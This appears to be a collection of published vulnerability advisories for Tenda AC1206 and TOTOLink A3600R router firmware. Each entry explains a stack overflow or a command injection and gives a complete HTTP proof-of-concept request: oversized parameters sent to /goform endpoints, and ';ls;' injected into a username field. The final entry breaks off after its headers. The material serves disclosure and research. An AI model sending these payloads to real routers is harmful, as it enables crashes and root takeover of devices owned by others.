Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the firewallEn parameter in the function formSetFirewallCfg.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the formSetFirewallCfg function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the formSetFirewallCfg function, the firewall_value (the value of firewallEn) we entered is directly copied into the firewall_buf array through the strcpy function.It is not secure, as long as the size of the data we enter is larger than the size of firewall_buf, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetFirewallCfg HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 336
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    firewallEn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37812: vuln/Tenda/AC1206/12 at main · Darry-lang1/vuln

Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the startIp parameter in the function formSetPPTPServer.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the formSetPPTPServer function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the formSetPPTPServer function,pptp_server_start_ip(the value of startIp) we entered is formatted using the sscanf function and in the form of %[^.].%[^.].%[^.].%s. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of pptp_server_start_each_ip, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetPptpServerCfg HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 12
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    startIp=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&endIp=a
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37811: vuln/Tenda/AC1206/17 at main · Darry-lang1/vuln

Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the index parameter in the function formWifiWpsOOB.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the formWifiWpsOOB function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the formWifiWpsOOB function,the index we entered (the value of index) is formatted with the sprintf function, spliced with %s;%s strings, and saved to tmp. It is not secure, as long as the size of the data we enter is larger than the size of tmp, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/WifiWpsOOB HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 336
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    index=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37808: vuln/Tenda/AC1206/15 at main · Darry-lang1/vuln

Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the function formSetClientState.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the formSetClientState function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the formSetClientState function,the v3 (the value of limitEn) ,the dev_id (the value of deviceId),the ul_speed (the value of limitSpeedUp) and the dl_speed (the value of limitSpeed) are formatted with the sprintf function, spliced with %d;%s;%s;%s strings, and saved to buff. It is not secure, as long as the size of the data we enter is larger than the size of buff, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetClientState HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 336
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    limitEn=1&deviceId=a&limitSpeedUp=a&limitSpeed=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37807: vuln/Tenda/AC1206/10 at main · Darry-lang1/vuln

Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the function fromSetIpMacBind.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the fromSetIpMacBind function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the fromSetIpMacBind function, the static_list (the value of list) we entered is directly copied into the mib_buf array through the strcpy function.It is not secure, as long as the size of the data we enter is larger than the size of mib_buf, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetIpMacBind HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 336
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    bindnum=1&list=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37816: vuln/Tenda/AC1206/13 at main · Darry-lang1/vuln

Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the PPPOEPassword parameter in the function formQuickIndex.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the formQuickIndex function. An attacker can obtain a stable root shell through a carefully constructed payload.

Stack overflow vulnerability occurs in the decodepwd function.

The decodepwd function is equivalent to copying data from and filtering "/" symbols.As long as the ppppwd(the value of PPPOEPassword) we enter exceeds the size of the decode_pwd array, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/QuickIndex HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 12
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    PPPOEPassword=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37815: vuln/Tenda/AC1206/18 at main · Darry-lang1/vuln

TOTOLink A3600R V4.1.2cu.5182_B20201102 was discovered to contain a command injection vulnerability via the username parameter in /cstecgi.cgi.

Permalink

**TOTOLink A3600R V4.1.2cu.5182\_B20201102 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=63&ids=36

**Product Information**

TOTOLink A3600R V4.1.2cu.5182\_B20201102 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A3600R was found to contain a command insertion vulnerability in cstecgi.This vulnerability allows an attacker to execute arbitrary commands through the "username" parameter.

We can see that the operating system will get "username" without filtering and inserting it into the strings "openvpn cert build\_user" and "gz". Therefore, if we can control "username", it can be a command injection.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi?exportOvpn=&type=user&username=;ls;&filetype=gz HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.0.1/login.html
    Content-Length: 0
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    

The above figure shows the POC attack effect

CVE-2022-36455: vuln/readme.md at main · Darry-lang1/vuln

Tenda AC1206 V15.03.06.23 was discovered to contain multiple stack overflows via the deviceMac and the device_id parameters in the function addWifiMacFilter.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the addWifiMacFilter function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the addWifiMacFilter function,the device_mac we entered (the value of deviceMac) and the device_id we entered (the value of deviceId) are formatted with the sprintf function, spliced with %s;%d;%s strings, and saved to mib_value. It is not secure, as long as the size of the data we enter is larger than the size of mib_value, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/addWifiMacFilter HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 336
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    deviceMac=a&deviceId=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37814: vuln/Tenda/AC1206/14 at main · Darry-lang1/vuln

Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the function fromSetSysTime.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the fromSetSysTime function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the fromSetSysTime function,tmpstr(the value of time) we entered is formatted using the sscanf function and in the form of %[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of year、month、day、hour、min or sec, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetSysTimeCfg HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 12
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
    timeType=manual&time=1-1-1 1:1:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37813: vuln/Tenda/AC1206/16 at main · Darry-lang1/vuln

Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the page parameter in the function fromDhcpListClient.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the fromDhcpListClient function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the fromDhcpListClient function,the page we entered (the value of page) is formatted with the sprintf function, spliced with %s strings, and saved to gotopage. It is not secure, as long as the size of the data we enter is larger than the size of gotopage, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/DhcpListClient HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded;
    Content-Length: 336
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Referer: http://192.168.0.1/index.html
    Cookie: ecos_pw=eee:language=cn
    
